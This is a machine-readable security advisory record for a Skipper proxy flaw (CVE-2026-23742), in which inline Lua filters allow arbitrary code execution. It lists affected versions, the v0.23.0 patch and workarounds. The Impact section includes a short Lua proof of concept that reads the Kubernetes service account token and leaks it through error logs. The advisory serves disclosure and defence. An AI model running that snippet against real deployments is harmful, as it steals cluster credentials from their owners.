{"schema_version":"1.7.3","id":"GHSA-cc8m-98fm-rc9g","published":"2026-01-16T21:03:34Z","modified":"2026-02-03T22:40:59.690453Z","aliases":["CVE-2026-23742","GO-2026-4327"],"summary":"Skipper is vulnerable to arbitrary code execution through lua filters","details":"### Impact\n\nArbitrary code execution through [lua filters](https://opensource.zalando.com/skipper/reference/scripts/).\n\nThe default skipper configuration before v0.23 was `-lua-sources=inline,file`. \nThe problem starts if untrusted users can create lua filters, because of `-lua-sources=inline` , for example through a Kubernetes Ingress resource. The configuration `inline` allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.\n\nKubernetes example (vulnerability is not limited to Kubernetes)\n```lua\nfunction request(ctx, params)\n  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')\n  if file then\n    local token = file:read('*all')\n    file:close()\n    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs\n  end\nend\n```\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.\n\n### Workarounds\n\nYou can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example `-lua-sources=file` will only be exploitable if the attacker can create a lua script file on the target system. \n\n### References\n\nhttps://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources","affected":[{"package":{"name":"github.com/zalando/skipper","ecosystem":"Go","purl":"pkg:golang/github.com/zalando/skipper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-cc8m-98fm-rc9g/GHSA-cc8m-98fm-rc9g.json"}}],"references":[{"type":"WEB","url":"https://github.com/zalando/skipper/security/advisories/GHSA-cc8m-98fm-rc9g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23742"},{"type":"WEB","url":"https://github.com/zalando/skipper/commit/0b52894570773b29e2f3c571b94b4211ef8fa714"},{"type":"PACKAGE","url":"https://github.com/zalando/skipper"},{"type":"WEB","url":"https://github.com/zalando/skipper/releases/tag/v0.23.0"}],"database_specific":{"cwe_ids":["CWE-250","CWE-522","CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-01-16T21:03:34Z","nvd_published_at":"2026-01-16T20:15:51Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}